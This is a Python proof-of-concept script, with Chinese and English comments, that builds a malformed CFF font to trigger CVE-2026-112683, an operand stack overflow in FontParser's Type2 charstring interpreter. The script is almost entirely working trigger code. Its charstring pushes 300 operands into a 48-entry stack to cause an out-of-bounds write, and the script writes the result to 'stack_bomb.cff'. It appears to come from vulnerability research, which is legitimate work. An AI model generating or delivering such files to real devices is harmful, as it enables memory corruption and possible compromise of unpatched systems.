#!/usr/bin/env python3
# font.cff · FontParser · charstring 解释器 · CVE-2026-112683
# 原语: OOB 写 · 进程内 | Primitive: OOB write · in-process
#
# [zh] CFF Type2 charstring 操作数栈溢出
# Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数，push 路径不做检查。27.2 补入 Push/Pop 两道栈保护，
# 并将扫描暂存区的 32 位乘法改为 64 位，同时修正了符号扩展指针。
#
# [en] CFF Type2 charstring operand stack overflow
# The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the
# pop path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens
# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112683.swift
# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder

import struct


# --------------------------------------------------------------------------- CFF stack bomb
def build_cff():
    """
    Bare CFF with one charstring that pushes 300 operands before endchar.
    FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
    27.0 only bounds the *count* on pop paths, the push path walks past the array.
    """
    def index(items):
        if not items:
            return struct.pack(">H", 0)
        off = 1
        offs = [1]
        for it in items:
            off += len(it)
            offs.append(off)
        off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
        out = struct.pack(">H", len(items)) + bytes([off_size])
        for o in offs:
            out += o.to_bytes(off_size, "big")
        out += b"".join(items)
        return out

    header = bytes([1, 0, 4, 1])

    name_index = index([b"CinderStackBomb"])

    # charstring: 300 pushes of 1, then endchar
    cs = bytearray()
    for _ in range(300):
        cs.append(139 + 1)     # push small int 1
    cs.append(14)              # endchar
    charstrings = index([bytes(cs)])

    gsubrs = index([])
    strings = index([])

    # Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
    # Two-pass: build with placeholder of the same byte width, then patch.
    def top_dict(cs_off, priv_off, priv_size):
        def enc(v):
            # DICT operand: 29 => 5-byte integer (fixed width, easy patching)
            return b"\x1d" + struct.pack(">i", v)
        d = enc(cs_off) + b"\x11"                      # CharStrings
        d += enc(priv_size) + enc(priv_off) + b"\x12"  # Private
        return d

    placeholder = top_dict(0, 0, 0)
    top_index = index([placeholder])

    priv = b"\x00"  # trivial private dict (blueValues absent)
    priv_index_data = priv

    # layout: header | name | top | strings | gsubrs | charstrings | private
    off = len(header) + len(name_index)
    top_off = off
    off += len(top_index)
    off += len(strings)
    off += len(gsubrs)
    cs_off = off
    off += len(charstrings)
    priv_off = off

    top_index = index([top_dict(cs_off, priv_off, len(priv))])
    out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
    return out


# --------------------------------------------------------------------------- KTX2

if __name__ == "__main__":
    import sys
    out = sys.argv[1] if len(sys.argv) > 1 else "stack_bomb.cff"
    open(out, "wb").write(build_cff())
    print("wrote", out)